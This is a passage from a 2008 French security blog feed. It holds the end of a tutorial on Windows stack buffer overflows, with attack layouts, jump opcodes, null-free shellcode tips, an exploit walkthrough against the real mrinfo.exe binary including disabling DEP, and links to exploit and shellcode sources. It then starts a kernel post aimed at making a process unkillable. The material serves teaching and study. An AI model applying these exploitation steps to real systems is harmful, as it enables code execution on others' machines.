moment place au fun :). Notre shellcode est bien exécuté, notre calc.exe apparaît !&lt;/p&gt; &lt;p&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt; &lt;p&gt;Bon je vous présente maintenant en quelques mot un second plan d'attaque, imaginons que notre shellcode est trop grand pour être mis sur la stack, nous serions un peu bloqué avec notre ancien plan d'attaque, seulement je vous propose un petit « trick » pour éviter cela.&lt;/p&gt; &lt;p&gt;Nous allons utiliser le second argument comme stockage de nos instructions à exécuter. J'ai choisis d'éxécuter une simple INT 3 soit l'opcode 0xCC.&lt;/p&gt; &lt;p&gt;   &lt;/p&gt; &lt;pre&gt; /--------------------Argv[1]----------------\   /Argv[2]\&lt;br /&gt;[aaaaaaaaaaaaaaaaaaaa][í#•|][jmp sur l'argv[2]] [  0xCC   ]&lt;br /&gt;&lt;/pre&gt;&lt;p&gt; Sauf que comment on retrouve notre chaine dans le second argument ?!&lt;/p&gt; &lt;p&gt;Justement je suis partit du principe qu'elle devait pas être loin de la première, je me suis donc armé de OllyDbg et j'ai tout simplement cherché la chaine après le première argument.A présent il faut sauter de la stack a cette adresse, pour cela on peut utiliser une feature de OllyDbg très intéressante, c'est à dire que quand nous allons éditer le code asm, et que nous mettons  un :&lt;/p&gt;  &lt;pre&gt;JMP 0x11223344&lt;br /&gt;&lt;/pre&gt;&lt;p&gt; Il va calculer lui même le décalage entre l'adresse de l'instruction que vous éditez et l'adresse où vous voulez qu'il saute, comme cela ça nous évite de faire des opérations à la main :).&lt;/p&gt; &lt;p&gt;Je vous propose un screenshot :  &lt;/p&gt; &lt;p&gt;&lt;br /&gt;&lt;/p&gt; &lt;p&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_kuo-yDTqvqc/R_50Bk1zypI/AAAAAAAAAHc/7EtjbjnPr0E/s1600-h/retriveArgv2Addr.png"&gt;&lt;img style="cursor: pointer;" src="http://2.bp.blogspot.com/_kuo-yDTqvqc/R_50Bk1zypI/AAAAAAAAAHc/7EtjbjnPr0E/s400/retriveArgv2Addr.png" alt="" id="BLOGGER_PHOTO_ID_5187711391195450002" border="0" /&gt;&lt;/a&gt;&lt;/p&gt; &lt;p&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt; &lt;p&gt;Nous avons donc l'adresse 003E24C7 + 12 caractères, donc 003E24C7 + C = 003E24D3.&lt;/p&gt; &lt;p&gt;Nous allons créer notre jump où le ESP pointera lorsque notre JMP ESP sera exécuté, pour nous en 00FF2270.&lt;/p&gt;  &lt;p&gt;Il est important de calculer cette offset a partir de l'instruction qui va sauter sur l'argv[2] si vous calculez l'offset autres part il sera forcément faux.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;  &lt;p&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_kuo-yDTqvqc/R_50N01zyqI/AAAAAAAAAHk/eqOwLkY7stY/s1600-h/CalculOffset.png"&gt;&lt;img style="cursor: pointer;" src="http://3.bp.blogspot.com/_kuo-yDTqvqc/R_50N01zyqI/AAAAAAAAAHk/eqOwLkY7stY/s400/CalculOffset.png" alt="" id="BLOGGER_PHOTO_ID_5187711601648847522" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt; &lt;p&gt;Super on a tous ce qu'il faut, on récupère la suite hexadécimale bien sur pour l'intégrer dans notre exploit :  &lt;/p&gt; &lt;pre&gt;E9 5E 25 1B 00&lt;/pre&gt; &lt;p&gt;On complète notre plan d'attaque&lt;/p&gt; &lt;p&gt;&lt;br /&gt;&lt;/p&gt; &lt;pre&gt;[aaaaaaaaaaaaaaaaaaaa][í#•|][\xE9\x5E\x25\x1B\x00] [\xCC]&lt;br /&gt;&lt;/pre&gt;&lt;p&gt; Oh mais un null byte !!!&lt;/p&gt; &lt;p&gt;Ne vous inquiétez pas il est placé en fin de chaine de l'argument premier, l'exécution va donc bien se produire :)).&lt;/p&gt; &lt;p&gt;On sort OllyDbg, on lance le test  :  &lt;/p&gt; &lt;p&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt; &lt;p&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_kuo-yDTqvqc/R_50ZU1zyrI/AAAAAAAAAHs/z8s2lidaac8/s1600-h/int3Exec.png"&gt;&lt;img style="cursor: pointer;" src="http://1.bp.blogspot.com/_kuo-yDTqvqc/R_50ZU1zyrI/AAAAAAAAAHs/z8s2lidaac8/s400/int3Exec.png" alt="" id="BLOGGER_PHOTO_ID_5187711799217343154" border="0" /&gt;&lt;/a&gt;&lt;/p&gt; &lt;p&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt; &lt;p&gt;Et voilà un exemple d'une seconde exploitation.&lt;/p&gt; &lt;p&gt;Je voulais vous prévenir aussi que j'ai l'impression que windows va vérifié la taille des arguments passé, car il me semblait que lors de mes tests si je remplaçais l'INT 3 par un shellcode voisin des 300bytes, une partie du shellcode était manquant, donc à vous de voir :).&lt;/p&gt; &lt;p&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt; &lt;p&gt;Pis pour la dernière exploitation, un truc vraiment histoire de dire, car ceci est un cas completement fictif, imaginer une fonction dans votre exécutable qui n'est pas appelé, overflow et appelons là.&lt;/p&gt; &lt;p&gt;Nous avons donc un plan d'attaque quelque peu différent qu'avant :&lt;/p&gt;  &lt;pre&gt;[aaaaaaaaaaaaaaaaaaaa][ret sur la fonction]&lt;br /&gt;&lt;/pre&gt;&lt;p&gt; Et pour trouver l'adresse de cette fonction rien de bien compliquer, ollyDbg est encore là!&lt;/p&gt; &lt;p&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt; &lt;p&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_kuo-yDTqvqc/R_50pU1zysI/AAAAAAAAAH0/TdAu2XE_QdU/s1600-h/adressFunction.png"&gt;&lt;img style="cursor: pointer;" src="http://1.bp.blogspot.com/_kuo-yDTqvqc/R_50pU1zysI/AAAAAAAAAH0/TdAu2XE_QdU/s400/adressFunction.png" alt="" id="BLOGGER_PHOTO_ID_5187712074095250114" border="0" /&gt;&lt;/a&gt;&lt;/p&gt; &lt;p&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt; &lt;p&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_kuo-yDTqvqc/R_50w01zytI/AAAAAAAAAH8/riAnwcNYIOc/s1600-h/rulez.png"&gt;&lt;img style="cursor: pointer;" src="http://3.bp.blogspot.com/_kuo-yDTqvqc/R_50w01zytI/AAAAAAAAAH8/riAnwcNYIOc/s400/rulez.png" alt="" id="BLOGGER_PHOTO_ID_5187712202944269010" border="0" /&gt;&lt;/a&gt;&lt;/p&gt; &lt;p&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt; &lt;p&gt;Nous voilà arriver à la fin de cette partie :).&lt;/p&gt; &lt;p&gt;Maintenant que vous vous êtes amusez à exploiter tout cela il est temps d'avoir quelques bases concernant le coding de shellcode statique.&lt;/p&gt; &lt;p&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-size:130%;"&gt;&lt;b&gt;IV] Write your own shellcodes.&lt;/b&gt;&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style=""&gt;&lt;span style="font-size:100%;"&gt;Nous y voilà, afin d'exploiter au mieux un dépassement de tampon il est préférable je pense de pouvoir éxécuter des actions de nos goûts.&lt;/span&gt;&lt;/p&gt; &lt;p style=""&gt;&lt;span style="font-size:100%;"&gt;Il existe plusieurs types de shellcodes, les shellcodes dit statique les plus petits, les shellcodes dit générique, et les shellcodes polymorphiques.&lt;/span&gt;&lt;/p&gt; &lt;p style=""&gt;&lt;span style="font-size:100%;"&gt;Cependant ont trouve des shellcodes générique polymorphiques, le polymorphisme n'est qu'une évolution des shellcodes qui a été créér dans le but de bypasser les protections mises en place par les IDS par exemple.Ceux ci ne seront pas abordé dans cet article.&lt;/span&gt;&lt;/p&gt; &lt;p style=""&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style=""&gt;&lt;span style="font-size:100%;"&gt;On appel shellcode statique, un shellcode qui va être utilisable sur une machine, on ne pourra (sauf execption) l'utilisé autre part : il est statique.&lt;/span&gt;&lt;/p&gt; &lt;p style=""&gt;&lt;span style="font-size:100%;"&gt;Les adresses des fonctions sont hardcodé au seins du shellcode.&lt;/span&gt;&lt;/p&gt; &lt;p style=""&gt;&lt;span style="font-size:100%;"&gt;Bon alors LA contrainte c'est d'éviter les nulls bytes !&lt;/span&gt;&lt;/p&gt; &lt;p style=""&gt;&lt;span style="font-size:100%;"&gt;Votre rôle est donc de faire de l'asm, en utilisant des instructions « égale » de pars leur action, mais avec des opcodes différents, petit exemple : &lt;/span&gt; &lt;/p&gt; &lt;pre&gt;mov eax,0&lt;br /&gt;xor eax,eax&lt;br /&gt;&lt;/pre&gt;&lt;p&gt; C'est deux instruction font la même chose, mais possède des opcodes différents.&lt;/p&gt; &lt;p&gt;Les tricks sont multiples, et puis libre à votre immagination pour inventer en inventer.&lt;/p&gt; &lt;p&gt;En ce qui concerne les chaines de caractères je n'ai pas expérimenter de nombreuse technique, si ce n'est que de pusher dword par dword la chaine sur la pile, pas très pratique quand c'est une grande chaine..:)&lt;/p&gt; &lt;p&gt;Donc si vous avez des techniques intéréssante sans trop de difficultées a mettre en place (histoire de conserver une taille assez petite) je suis preneur.&lt;/p&gt; &lt;p&gt;J'ai aussi entendu parler du fameux Call/pop, déclaré sa chaine de variable après un call, de tel sorte a qu'un pointeur sur celle-ci soit empilé lors du call, qu'on dépilerai dans le call, seulement je me retrouvais avec des nulls bytes dans le call..:)&lt;/p&gt; &lt;p&gt;Tout cela pour vos proposer deux petits shellcodes statiques non optimisés codé par mes soins avec masm32.&lt;/p&gt; &lt;p&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt; &lt;p&gt;Shellcode qui va loader user32.dll, puis faire une MessageBox() et enfin un ExitProcess (comme les adresses sont harcodées pour MON système, il faudra surrement la changer).&lt;/p&gt;On peut donc exploiter notre précédent code avec notre shellcode, c'est si appréciable :))) : &lt;p&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt; &lt;p&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_kuo-yDTqvqc/R_50_U1zyuI/AAAAAAAAAIE/cwtcxGYNQNI/s1600-h/exploit1AvecShellcodeMsgBoxPerso.png"&gt;&lt;img style="cursor: pointer;" src="http://1.bp.blogspot.com/_kuo-yDTqvqc/R_50_U1zyuI/AAAAAAAAAIE/cwtcxGYNQNI/s400/exploit1AvecShellcodeMsgBoxPerso.png" alt="" id="BLOGGER_PHOTO_ID_5187712452052372194" border="0" /&gt;&lt;/a&gt;&lt;/p&gt; &lt;p&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt; &lt;p&gt;Et puis un petit dernier qui va appeler un WinExec(), et enfin un ExitProcess.&lt;/p&gt;  &lt;p&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt; &lt;p&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_kuo-yDTqvqc/R_51Q01zyvI/AAAAAAAAAIM/FciqEuipJjg/s1600-h/exploit1AvecShellcodeWinExecPerso.png"&gt;&lt;img style="cursor: pointer;" src="http://3.bp.blogspot.com/_kuo-yDTqvqc/R_51Q01zyvI/AAAAAAAAAIM/FciqEuipJjg/s400/exploit1AvecShellcodeWinExecPerso.png" alt="" id="BLOGGER_PHOTO_ID_5187712752700082930" border="0" /&gt;&lt;/a&gt;&lt;/p&gt; &lt;p&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt; &lt;p&gt;Il existe aussi beaucoup de générateur de shellcode, je pense à celui de metasploit qui est très bien, on peut créer des shellcodes alphanumériques, restrictionner l'utilisation d'un opcode et j'en passe, à tester :).&lt;/p&gt; &lt;p&gt;Voilà en ce qui concerne les shellcodes statiques.&lt;/p&gt; &lt;p&gt;Mais à présent ..un cas concret ça vous dis ?!&lt;/p&gt; &lt;p&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-size:130%;"&gt;&lt;b&gt;V] Check and pwnz d4 st4ckz.&lt;/b&gt;&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style=""&gt;&lt;span style="font-size:100%;"&gt;Malgrès la présence de concret dans ce petit papier, un cas réel est toujours apprécier :).&lt;/span&gt;&lt;/p&gt; &lt;p style=""&gt;&lt;span style="font-size:100%;"&gt;Je vous propose donc de vous amuser sur le binaire mrinfo.exe normalement présent sur un système windows xp ( aucune idée pour les autres versions ).&lt;/span&gt;&lt;/p&gt; &lt;p style=""&gt;&lt;span style="font-size:100%;"&gt;La faille se situe donc lors du traitement de la chaine passé en argument avec l'option -i.&lt;/span&gt;&lt;/p&gt; &lt;p style=""&gt;&lt;span style="font-size:100%;"&gt;J'ai donc élaborer le petit plan d'attaque :&lt;/span&gt;&lt;/p&gt; &lt;p style=""&gt;&lt;br /&gt;&lt;/p&gt; &lt;pre&gt;[56A][ret][4 a][shellcode]&lt;br /&gt;&lt;/pre&gt;&lt;p&gt; Je commence donc a charger l'executable dans OllyDbg, je trace un peu pis je tombe sur la routine vulnérable, le monsieur a réaliser apparemment une routine perso qui copie octet par octet la chaine de caractères en argument dans un autre buffer, et là la taille est encore pas vérifié, résultat rewrite de la stack.:)&lt;/p&gt; &lt;p&gt;Pour vous laissez chercher un peu je vous donne l'adresse du début de la routine chez moi, tout commence en 0100183A.&lt;/p&gt; &lt;p&gt;Un peu d'illustration, je vous propose un petit screenshot qui montre le début du remplissement de la stack, à partir de celui-ci on peut determiner le nombre de lettre a envoyé pour écrire sur la sauvegarde d'EIP.&lt;/p&gt; &lt;p&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt; &lt;p&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_kuo-yDTqvqc/R_52Q01zyyI/AAAAAAAAAIk/JLFPKq2rc2E/s1600-h/Untitled-1+copy.png"&gt;&lt;img style="cursor: pointer;" src="http://3.bp.blogspot.com/_kuo-yDTqvqc/R_52Q01zyyI/AAAAAAAAAIk/JLFPKq2rc2E/s400/Untitled-1+copy.png" alt="" id="BLOGGER_PHOTO_ID_5187713852211710754" border="0" /&gt;&lt;/a&gt;&lt;/p&gt; &lt;p&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt; &lt;p&gt;Je vous file un petit screenshot d'une exploitation faite avec mon shellcode WinExec :&lt;/p&gt; &lt;p&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt; &lt;p&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_kuo-yDTqvqc/R_52X01zyzI/AAAAAAAAAIs/Bl9Y6OzcrWU/s1600-h/sploited.png"&gt;&lt;img style="cursor: pointer;" src="http://3.bp.blogspot.com/_kuo-yDTqvqc/R_52X01zyzI/AAAAAAAAAIs/Bl9Y6OzcrWU/s400/sploited.png" alt="" id="BLOGGER_PHOTO_ID_5187713972470795058" border="0" /&gt;&lt;/a&gt;&lt;/p&gt; &lt;p&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt; &lt;p&gt;Et je vous met dans l'archive l'exploit associé avec les sources, afin de pouvoir comprendre/tester la faille :).&lt;/p&gt; &lt;p&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt; &lt;p&gt;NB : Cette exploitation a est réalisable a priori en désactivant une sécurité mise en place par le système windows sur les binaires natif windows.&lt;/p&gt; &lt;p&gt;Pour cela rendez vous dans le Panneau De Configuration -&gt; Système -&gt; Onglet Avancé -&gt; Dans l'intitulé Perfomances : Paramètres -&gt; Onglet Prévention de l'éxécution des Données -&gt; cochez « Activez la prévention d'éxécution des données pour tous les programmes et services, sauf ceux que je sélectionne : » vous cochez donc « Information multidestinataire ».&lt;/p&gt; &lt;p&gt;Reboot and sploit :).&lt;/p&gt; &lt;p&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt; &lt;p&gt;Et voilà, l'article touche à sa fin en espérant que je vous aurais appris quelques choses.&lt;/p&gt; &lt;p&gt;En tous les cas sa rédaction ma permisde mettre au clair la vulnérabilité et les actions qui s'y apparentes.&lt;/p&gt; &lt;p&gt;Voici le temps des liens, pour commencer les sources onlines :  &lt;/p&gt; &lt;p&gt;-&lt;a href="http://overclok.free.fr/Codes/Stack0verflow/vuln.html"&gt;Vuln.c&lt;/a&gt;&lt;/p&gt; &lt;p&gt;-&lt;a href="http://overclok.free.fr/Codes/Stack0verflow/Exploit1.html"&gt;Exploit1.c&lt;/a&gt;&lt;/p&gt; &lt;p&gt;-&lt;a href="http://overclok.free.fr/Codes/Stack0verflow/Exploit2.html"&gt;Exploit2.c&lt;/a&gt;&lt;/p&gt; &lt;p&gt;-&lt;a href="http://overclok.free.fr/Codes/Stack0verflow/Exploit3.html"&gt;Exploit3.c&lt;/a&gt;&lt;/p&gt; &lt;p&gt;-&lt;a href="http://overclok.free.fr/Codes/Stack0verflow/Shellcode%20MB%20Hardcoder.asm"&gt;ShellcodeMBHardcoder.asm&lt;/a&gt;&lt;/p&gt; &lt;p&gt;-&lt;a href="http://overclok.free.fr/Codes/Stack0verflow/ShellcodeWinExecHardcoder.asm"&gt;ShellcodeWinExec.asm&lt;/a&gt;&lt;/p&gt; &lt;p&gt;-&lt;a href="http://overclok.free.fr/Codes/Stack0verflow/mrinfo.html"&gt;ExploitMrInfo.c&lt;/a&gt;&lt;/p&gt; &lt;p&gt;-&lt;a href="http://overclok.free.fr/Codes/Stack0verflow/StackOverflow%20-%200vercl0k.blogspot.com.zip"&gt;Pack.zip (09c187bda60d10b1f8835999e1d76930 *StackOverflow - 0vercl0k.blogspot.com.zip)&lt;br /&gt;&lt;/a&gt;&lt;/p&gt; &lt;p&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt; &lt;p&gt;Le pack contient les sources, les exploits compilés, les shellcodes, tous ce qui a été utilisé dans l'article donc ;).Have fun.&lt;/p&gt; &lt;p&gt;Cya.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5190877782491799334-1098482275915708257?l=0vercl0k.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0vercl0k.blogspot.com/feeds/1098482275915708257/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5190877782491799334&amp;postID=1098482275915708257' title='1 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5190877782491799334/posts/default/1098482275915708257'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5190877782491799334/posts/default/1098482275915708257'/><link rel='alternate' type='text/html' href='http://0vercl0k.blogspot.com/2008/04/trip-in-d4-st4ckz.html' title='Trip in d4 st4ckz.'/><author><name>0vercl0k</name><uri>http://www.blogger.com/profile/04851747716024429465</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_kuo-yDTqvqc/R_5zJU1zylI/AAAAAAAAAG8/iyWXTfoX-VI/s72-c/RewriteEIPBCDE.png' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5190877782491799334.post-3476499378137972002</id><published>2008-03-29T04:46:00.000-07:00</published><updated>2008-12-09T22:03:58.842-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='objmgr'/><category scheme='http://www.blogger.com/atom/ns#' term='OpenProcedure'/><category scheme='http://www.blogger.com/atom/ns#' term='callback'/><category scheme='http://www.blogger.com/atom/ns#' term='noxistes website'/><category scheme='http://www.blogger.com/atom/ns#' term='EPROCESS'/><category scheme='http://www.blogger.com/atom/ns#' term='Object type initializers'/><category scheme='http://www.blogger.com/atom/ns#' term='Object Body'/><category scheme='http://www.blogger.com/atom/ns#' term='Object Header'/><category scheme='http://www.blogger.com/atom/ns#' term='ghosts in the stack'/><category scheme='http://www.blogger.com/atom/ns#' term='hook'/><category scheme='http://www.blogger.com/atom/ns#' term='noxistes'/><category scheme='http://www.blogger.com/atom/ns#' term='objects manger'/><category scheme='http://www.blogger.com/atom/ns#' term='PspProcessDelete'/><category scheme='http://www.blogger.com/atom/ns#' term='ph03nix'/><title type='text'>ph03nix et l'object manager.</title><content type='html'>Bonjour à tous, cette semaine j’ai décidé de me pencher sur les objects types initializer. &lt;p&gt;&lt;span lang="en-US"&gt;Je surfais sur le blog de mon maître &lt;a href="http://ivanlef0u.tuxfamily.org/"&gt;jedi&lt;/a&gt; quand je suis tombé face à face sur un article concernant ces « &lt;a href="http://www.ivanlef0u.tuxfamily.org/?p=79"&gt;Object Type Initializer&lt;/a&gt; », il aborde alors le sujet en énumérant quelques applications possibles.&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span lang="en-US"&gt;Rendre un processus inkillable fut mon premier objectif, je pris donc mon courage a deux mains et  me mit à bosser le sujet.&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span lang="en-US"&gt;Il existe sous windows un "sous-système" qui a pour rôle de gerer les objects. L'&lt;a href="http://msdn2.microsoft.com/en-us/library/ms724826%28VS.85%29.aspx"&gt;object manager&lt;/a&gt; souvent abrégé "ObjMgr", est un système qui va gérer les ressources de windows. Ce que je désigne par le nom de “resource” peut être : un processus, un device, un driver..&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_kuo-yDTqvqc/R-4t-M3ybTI/AAAAAAAAAG0/e3zDKsGX6qw/s1600-h/winobj.png"&gt;&lt;img style="cursor: pointer;" src="http://3.bp.blogspot.com/_kuo-yDTqvqc/R-4t-M3ybTI/AAAAAAAAAG0/e3zDKsGX6qw/s400/winobj.png" alt="" id="BLOGGER_PHOTO_ID_5183130767780375858" border="0" /&gt;&lt;/a&gt;&lt;/p&gt; &lt;p&gt;&lt;span lang="en-US"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span lang="en-US"&gt;Tout ces&lt;/span&gt;&lt;span lang="en-US"&gt; objects sont constitués de la même façon. Ils commencent d’abord par un header (OBJECT_HEADER) et sont suivit d'un body qui change en function du type d’object, EPROCESS pour un process, FILE_OBJECT pour un fichier ainsi de suite.&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span lang="en-US"&gt;L'object manager à&lt;/span&gt;&lt;span lang="en-US"&gt; donc pour rôle de fournir à l’utilisateur une interface pour manipuler les différentes resources du noyau, cette interface étant principalement basée sur les handles.&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt; &lt;p&gt;&lt;span lang="en-US"&gt;Chaque object &lt;/span&gt;&lt;span lang="en-US"&gt;posséde une structure de type OBECT_TYPE_INITIALIZER qui est identique pour tout les objects de même type .Je décide donc de sortir le kd pour me renseigner un peu plus sur cette structure.&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span lang="en-US"&gt;D’abord j’utilise&lt;/span&gt;&lt;span lang="en-US"&gt; la commande !process du kd. Je cite : &lt;/span&gt; &lt;/p&gt; &lt;p style="margin-bottom: 0cm; line-height: 0.18cm;"&gt;&lt;br /&gt;&lt;/p&gt; &lt;pre&gt;Syntax in Windows XP and later:&lt;br /&gt;!process [/s Session] [/m Module] [Process [Flags]]&lt;br /&gt;!process [/s Session] [/m Module] 0 Flags ImageName&lt;br /&gt;&lt;br /&gt;[..]&lt;br /&gt;&lt;span style="font-family:Times New Roman,serif;"&gt;&lt;span style="font-size:85%;"&gt;&lt;span lang="en-US"&gt;&lt;i&gt;Process&lt;/i&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family:Times New Roman,serif;"&gt;&lt;span style="font-size:85%;"&gt;&lt;span lang="en-US"&gt; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=";font-family:Times New Roman,serif;font-size:130%;"  &gt;&lt;span lang="en-US"&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;Specifies the hexadecimal address or the process ID of the process on the target computer.&lt;br /&gt;The value of &lt;i&gt;Process&lt;/i&gt; determines whether the &lt;b&gt;!process&lt;/b&gt; extension displays a process address or a process ID . If &lt;i&gt;Process&lt;/i&gt; is &lt;b&gt;-1&lt;/b&gt; in Windows NT 4.0 or is omitted in any version of Windows, the debugger displays data only about the current system process. If &lt;i&gt;Process&lt;/i&gt; is &lt;b&gt;0&lt;/b&gt; and &lt;i&gt;ImageName&lt;/i&gt; is omitted, the debugger displays information about all active processes.&lt;br /&gt;&lt;br /&gt;&lt;i&gt;Flags&lt;/i&gt;&lt;br /&gt;Specifies the level of detail to display. &lt;i&gt;Flags&lt;/i&gt; can be any combination of the following bits. If &lt;i&gt;Flags&lt;/i&gt; is 0, only a minimal amount of information is displayed. The default varies according to the version of Windows and the value of &lt;i&gt;Process. &lt;/i&gt;In Windows NT 4.0, the default is 0x3 if &lt;i&gt;Process&lt;/i&gt; is omitted or if &lt;i&gt;Process&lt;/i&gt; is 0; otherwise, the default is 0xF. In Windows 2000, the default is 0x3 if &lt;i&gt;Process &lt;/i&gt;is omitted or if &lt;i&gt;Process&lt;/i&gt; is 0 and &lt;i&gt;ImageFile&lt;/i&gt; is omitted; otherwise, the default is 0xF. In Windows XP and later, the default is 0x3 if &lt;i&gt;Process&lt;/i&gt; is omitted or if &lt;i&gt;Process &lt;/i&gt;is either 0 or -1; otherwise, the default is 0xF.&lt;br /&gt;&lt;br /&gt;Bit 0 (0x1)&lt;br /&gt;Displays time and priority statistics.&lt;br /&gt;&lt;br /&gt;Bit 1 (0x2)&lt;br /&gt;Displays a list of threads and events associated with the process, and their wait states.&lt;br /&gt;&lt;br /&gt;Bit 2 (0x4)&lt;br /&gt;Displays a list of threads associated with the process. If this is included without Bit 1 (0x2), each thread is displayed on a single line. If this is included along with Bit 1, each thread is displayed with a stack trace.&lt;br /&gt;&lt;br /&gt;Bit 3 (0x8)&lt;br /&gt;&lt;i&gt;(Windows XP and later)&lt;/i&gt; Displays the return address, the stack pointer, and (on Itanium-based systems) the &lt;b&gt;bsp&lt;/b&gt; register value for each function. The display of function arguments is suppressed.&lt;br /&gt;&lt;br /&gt;Bit 4 (0x10)&lt;br /&gt;&lt;i&gt;(Windows XP and later)&lt;/i&gt; Sets the process context equal to the specified process for the duration of this command. This results in a more accurate display of thread stacks. Because this flag is equivalent to using &lt;b&gt;.process /p /r&lt;/b&gt; for the specified process, any existing user-mode module list will be discarded. If &lt;i&gt;Process&lt;/i&gt; is zero, the debugger displays all processes, and the process context is changed for each one. If you are only displaying a single process and its user-mode state has already been refreshed (for example, with &lt;b&gt;.process /p /r&lt;/b&gt;), it is not necessary to use this flag. This flag is only effective when used with Bit 0 (0x1).&lt;br /&gt;&lt;/pre&gt;&lt;p style="margin-bottom: 0cm;"&gt; Me voilà partis.&lt;/p&gt;  &lt;pre&gt;kd&gt; !process 0 0&lt;br /&gt;**** NT ACTIVE PROCESS DUMP ****&lt;br /&gt;PROCESS 817cc7c0  SessionId: none  Cid: 0004    Peb: 00000000  ParentCid: 0000&lt;br /&gt;DirBase: 00039000  ObjectTable: e1001cb0  HandleCount: 204.&lt;br /&gt;Image: System&lt;br /&gt;&lt;br /&gt;PROCESS 8160b698  SessionId: none  Cid: 0228    Peb: 7ffdc000  ParentCid: 0004&lt;br /&gt;DirBase: 0335b000  ObjectTable: e12feac0  HandleCount:  21.&lt;br /&gt;Image: smss.exe&lt;br /&gt;&lt;br /&gt;PROCESS 817e98f0  SessionId: 0  Cid: 0264    Peb: 7ffdf000  ParentCid: 0228&lt;br /&gt;DirBase: 0440b000  ObjectTable: e13f8c08  HandleCount: 267.&lt;br /&gt;Image: csrss.exe&lt;br /&gt;&lt;br /&gt;PROCESS 815de5e0  SessionId: 0  Cid: 027c    Peb: 7ffdb000  ParentCid: 0228&lt;br /&gt;DirBase: 04511000  ObjectTable: e1440eb8  HandleCount: 251.&lt;br /&gt;Image: winlogon.exe&lt;br /&gt;&lt;br /&gt;PROCESS 815b8020  SessionId: 0  Cid: 02a8    Peb: 7ffde000  ParentCid: 027c&lt;br /&gt;DirBase: 04e53000  ObjectTable: e14da758  HandleCount: 240.&lt;br /&gt;Image: services.exe&lt;br /&gt;&lt;br /&gt;PROCESS 815b4020  SessionId: 0  Cid: 02b4    Peb: 7ffd5000  ParentCid: 027c&lt;br /&gt;DirBase: 04ef0000  ObjectTable: e1512ee0  HandleCount: 273.&lt;br /&gt;Image: lsass.exe&lt;br /&gt;&lt;br /&gt;PROCESS 8159c020  SessionId: 0  Cid: 0350    Peb: 7ffd4000  ParentCid: 02a8&lt;br /&gt;DirBase: 0586d000  ObjectTable: e15371a8  HandleCount: 